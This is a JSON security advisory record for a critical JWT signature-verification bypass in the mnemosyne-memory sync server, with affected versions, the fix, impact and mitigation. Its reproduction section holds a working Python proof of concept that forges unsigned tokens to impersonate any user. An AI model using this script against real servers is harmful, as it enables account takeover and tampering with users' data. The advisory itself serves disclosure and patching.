{"id":"GHSA-xcw4-53cc-hv32","summary":"Mnemosyne has JWT signature verification bypass sync server that allows authentication bypass","details":"### Summary\n\nThe Mnemosyne sync server's authentication check decoded JWT bearer tokens but never verified their HMAC-SHA256 signatures. Any well-formed token was accepted, allowing an unauthenticated attacker to impersonate any user and read or modify their sync data.\n\n**Severity: Critical**\n\nCVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1\n\nAssumes the sync server endpoint is network-reachable. If your deployment is localhost-only, the score drops substantially and severity becomes High or Medium depending on local exposure. Confirm your threat model.\n\n### Affected versions\n\nAll mnemosyne versions exposing the sync server endpoint, up to and including v3.10.0.\n\n### Patched versions\n\nv3.10.1 (commit a0b6b871 on branch security/jwt-signature-verification)\n\n___\n\n### Description\n\nThe sync server uses JWT bearer tokens to authenticate clients. Prior to v3.10.1, the auth check in mnemosyne/core/sync_server.py parsed the JWT's header and payload using base64 decoding, then passed the token to a jwt library call with options that effectively disabled signature verification. The server accepted any well-formed token regardless of the signature, including tokens with alg: none and tokens signed with the wrong key.\n\nThe fix in v3.10.1 replaces the broken decode with a from-scratch HS256 verifier using only the Python standard library:\n\n- Constant-time signature comparison via hmac.compare_digest\n- Strict alg: HS256 check, rejecting none and other algorithms\n- UTC-aware exp validation with leeway\n- Loud errors with specific failure reasons\n- Type validation of decoded payload before use\n\n### Impact\n\nAn attacker with network access to the sync server can:\n\n- Forge a JWT for any user_id without knowing the secret\n- Authenticate as that user to /sync/status, /sync/push, and /sync/pull\n- Read the victim's sync state\n- Push malicious sync state to corrupt the victim's local database\n- Pivot within a shared deployment (multi-user sync server)\n\nConfidentiality and integrity of sync data are fully compromised for the duration of exposure. There is no impact on the server's availability.\n\n### Reproduction\n\n```python\nimport base64\nimport json\nimport requests\n\n# Forge a JWT for any user. No secret required.\ndef forge_jwt(user_id):\n    header = base64.urlsafe_b64encode(\n        json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode()\n    ).rstrip(b\"=\")\n    payload = base64.urlsafe_b64encode(\n        json.dumps({\"user_id\": user_id, \"exp\": 9999999999}).encode()\n    ).rstrip(b\"=\")\n    sig = b\"\"\n    return f\"{header.decode()}.{payload.decode()}.\"\n\nr = requests.get(\n    \"https://target.example.com/sync/status\",\n    headers={\"Authorization\": f\"Bearer {forge_jwt('victim-user-id')}\"},\n)\nprint(r.status_code, r.json())\n```\n\nA 200 OK response with valid sync status payload confirms the bypass. The attack requires no credentials, no secret, and no prior access.\n\n### Mitigation\n\nUpgrade to v3.10.1.\n\nFor users who cannot upgrade immediately:\n\n- Restrict network access to the sync server endpoint to trusted clients only. Firewall, reverse proxy with mTLS, or localhost bind with SSH tunnel are all viable.\n- The vulnerability is not exploitable against an unreachable endpoint.\n\n### Workarounds\n\nNone. The patch is required to restore authentication integrity.\n\n### Credits\n\n- Reporter: Denis Hache (dplush). Reported via private channel on 2026-06-13 with full reproduction and a coordinated disclosure window.\n- Fix: Denis Hache\n\n### Timeline\n- 2026-06-13: Initial report received from Denis via private channel.","aliases":["CVE-2026-59163"],"modified":"2026-09-18T18:00:05.145991991Z","published":"2026-09-18T17:54:26Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-347"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-09-18T17:54:26Z"},"references":[{"type":"WEB","url":"https://github.com/AxDSan/mnemosyne/security/advisories/GHSA-xcw4-53cc-hv32"},{"type":"WEB","url":"https://github.com/mnemosyne-oss/mnemosyne/pull/373"},{"type":"WEB","url":"https://github.com/mnemosyne-oss/mnemosyne/commit/a0b6b8711a1a485304971710dc3571e29ff9dbeb"},{"type":"PACKAGE","url":"https://github.com/AxDSan/mnemosyne"},{"type":"WEB","url":"https://github.com/mnemosyne-oss/mnemosyne/releases/tag/v3.10.1"}],"affected":[{"package":{"name":"mnemosyne-memory","ecosystem":"PyPI","purl":"pkg:pypi/mnemosyne-memory"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.1"}]}],"versions":["1.10.1","1.10.2","1.11.0","1.12.0","1.13.0","1.9.0","2.0.0","2.1","2.2","2.3","2.5.0","2.6.0","2.7.0","2.8.0","3.0.0","3.1.0","3.1.2","3.10.0","3.3.0","3.4.0","3.5.0","3.6.0","3.7.0","3.8.0","3.9.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 3.10.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-xcw4-53cc-hv32/GHSA-xcw4-53cc-hv32.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"}]}